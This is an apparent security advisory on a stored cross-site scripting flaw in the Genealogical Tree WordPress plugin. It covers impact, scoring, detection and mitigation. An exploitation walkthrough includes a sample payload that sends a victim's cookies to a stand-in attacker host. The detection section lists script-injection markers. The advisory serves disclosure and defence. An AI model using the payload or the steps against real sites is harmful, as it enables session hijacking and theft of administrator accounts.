CVE-2025-58023: 
WordPress vulnerability analysis and mitigation

CVE-2025-58023 is a Stored Cross-Site Scripting (XSS) vulnerability in the Genealogical Tree WordPress plugin developed by akdevs. The flaw allows authenticated attackers with low-level privileges to inject and store malicious scripts that execute in the browsers of other users. All plugin versions up to and including 2.2.7 are affected. The vulnerability was published on September 22, 2025, and carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization and escaping of user-supplied input before it is stored and rendered in web pages (Feedly). An authenticated attacker with low privileges can submit crafted input containing malicious JavaScript through the plugin's genealogical tree data entry fields; this payload is persisted in the database and subsequently executed in the browsers of any user who views the affected content. The attack vector is network-based, requires low privileges and user interaction (a victim must view the injected content), and the scope is changed — meaning the impact crosses the security boundary of the originating context.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browser sessions, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and defacement of site content. Because the payload is stored server-side, every user who views the affected genealogical tree data is at risk without any further attacker interaction. The CVSS assessment reflects low confidentiality, integrity, and availability impacts with a changed scope, indicating the potential to affect users beyond the attacker's own session (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-58023 at this time. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site, which somewhat limits the attack surface.

1. Reconnaissance: Identify WordPress sites running the Genealogical Tree plugin (version ≤ 2.2.7) using tools such as WPScan or by inspecting plugin directories exposed via the target site.
2. Obtain low-privilege access: Register or log in to the target WordPress site with any authenticated account that has permission to interact with the Genealogical Tree plugin (e.g., subscriber or contributor role).
3. Inject malicious payload: Navigate to the plugin's data entry interface and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field such as a name, description, or notes field within the genealogical tree.
4. Persist the payload: Submit the form so the malicious script is stored in the WordPress database.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to view the affected genealogical tree entry; the stored script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf.

• Logs: WordPress access logs showing POST requests to plugin-related endpoints (e.g., /wp-admin/admin-ajax.php or plugin-specific pages) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:).
• Database: Unexpected <script> tags or JavaScript URIs stored in the wp_posts or plugin-specific database tables associated with genealogical tree entries.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after viewing genealogical tree content, potentially carrying cookie or session data as query parameters.
• Browser/Client: Users reporting unexpected redirects, pop-ups, or unauthorized actions occurring when viewing genealogical tree pages on the WordPress site.

WordPress site administrators should update the Genealogical Tree plugin to a version beyond 2.2.7 as soon as a patched release is made available by the developer (akdevs). In the interim, disabling or removing the plugin entirely is the most effective workaround to eliminate the attack surface. Additionally, restricting plugin data-entry capabilities to trusted, higher-privilege roles and deploying a Web Application Firewall (WAF) with XSS filtering rules can help reduce exploitation risk (Wordfence).

The vulnerability was noted in Wordfence's weekly WordPress vulnerability report for the period of September 22–28, 2025, as part of routine disclosure coverage (Wordfence). No significant independent researcher commentary, vendor statements beyond standard advisory publication, or notable social media discussion has been identified for this CVE.